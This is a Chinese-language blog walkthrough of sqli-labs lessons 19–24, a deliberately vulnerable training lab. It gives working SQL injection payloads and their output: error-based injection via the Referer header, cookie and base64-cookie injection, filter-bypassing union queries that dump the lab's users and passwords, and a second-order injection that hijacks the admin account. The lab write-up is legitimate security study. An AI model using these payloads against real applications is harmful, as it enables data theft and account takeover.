2021年9月27日 星期一

從sqli-labs學習SQL注入(Less19-Less24)

Less-19

與Less-18相同,只是漏洞在header的 Referer 裡面

報錯注入

爆值

1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((  SELECT(SELECT CONCAT(CAST(CONCAT(username,0x3a,password) AS CHAR),0x7e)) FROM users LIMIT 0,1  ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
輸出內容:Duplicate entry 'Dumb:Dumb~1' for key 'group_key'


Less-20

單引號的cookie類型注入
這是正常登錄後的樣子
由源碼得知
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
查詢語句使用了cookee,我們將對cookie注入

正常的cookie是這樣子
Cookie: uname=admin;


檢查拼接方式

Cookie: uname=admin';
輸出內容:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1
由報錯得知,使用的是單引號拼接

檢查表(users)的字段數

Cookie: uname=admin' order by 1--+  // order by id
Cookie: uname=admin' order by 2--+  // order by username
Cookie: uname=admin' order by 3--+  // order by password

Cookie: uname=admin' order by 4--+  // 4會報錯,所以確認這個表的字段數是3
輸出內容:Issue with your mysql: Unknown column '4' in 'order clause'  

聯合盲注

爆庫

Cookie: uname=-admin' union select 1,2,database()--+
輸出內容:Your Password:security
其他的payload可以參考Less-1的結構,這是非常相似的問題,如:

爆庫名

Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
輸出內容:Your Password:emails,referers,uagents,users

高級注入姿勢(Less 21-37)

Less-21

base64編碼的cookie注入,拼接方式單引號加括號
這是正常登錄後的樣子
uname = YWRtaW4= 顯然是base64加密,解碼出來是admin,就是你登錄的用戶名
所以猜測這題是對cookie字串的加密問題
在查了php源碼後,你只需在你的payload做base64加密

檢查注入點

1=1

明文
admin') and 1=1 -- 
注意:--後面有一個空白,這個空白也要做base64加密,這邊不能用--+
密文
YWRtaW4nKSBhbmQgMT0xIC0tIA==


1=0

明文
admin') and 1=0 -- 
密文
YWRtaW4nKSBhbmQgMT0wIC0tIA==

聯合盲注

爆表名

明文
-admin') union select 1,2,database() -- 
密文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIC0tIA==
輸出內容:Your Password:security

其他的不重複,注入完成

Less-22

和Less-21一樣,只是拼接方式從單引號加括號改成雙引號 

聯合盲注

爆庫名

明文
-admin" union select 1,2,database() -- 
密文
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkgLS0g
輸出內容:Your Password:security

Less-23

和Less-1相比,源碼過濾了注釋符號,
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

聯合盲注

爆庫名

?id=' union select 1,2,database() '
輸出內容:Your Password:security 

爆表名

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
輸出內容:Your Password:emails,referers,uagents,users

爆字段

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() or '1'= '
輸出內容:Your Password:id,username,password

爆值

?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
輸出內容:
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin

Less-24

一個經典的二次注入場景,原本用戶表的內容如下
用戶admin的密碼是admin,但是我們不知道他的密碼,目標是獲取用戶admin的權限

第一步

註冊一個用戶名叫 admin'# 的用戶,密碼password
http://sqlilabs.bt/Less-24/new_user.php
註冊成功後5秒會跳回註冊頁

註冊後用戶表的內容如下

第二步

登錄剛剛註冊的用戶(admin'#),然後修改密碼成123456,這時候用戶admin的密碼會被改成123456
http://sqlilabs.bt/Less-24/logged-in.php
執行的SQL語句將會是
UPDATE users SET passwd="123456" WHERE username ='admin' # 'AND password='password'
http://sqlilabs.bt/Less-24/pass_change.php

修改密碼後用戶表的內容如下

第三步

使用剛剛修改的密碼(123456)登錄用戶admin,然後你就可以成功登錄,獲取admin權限
http://sqlilabs.bt/Less-24/logged-in.php

注入結束














沒有留言:

張貼留言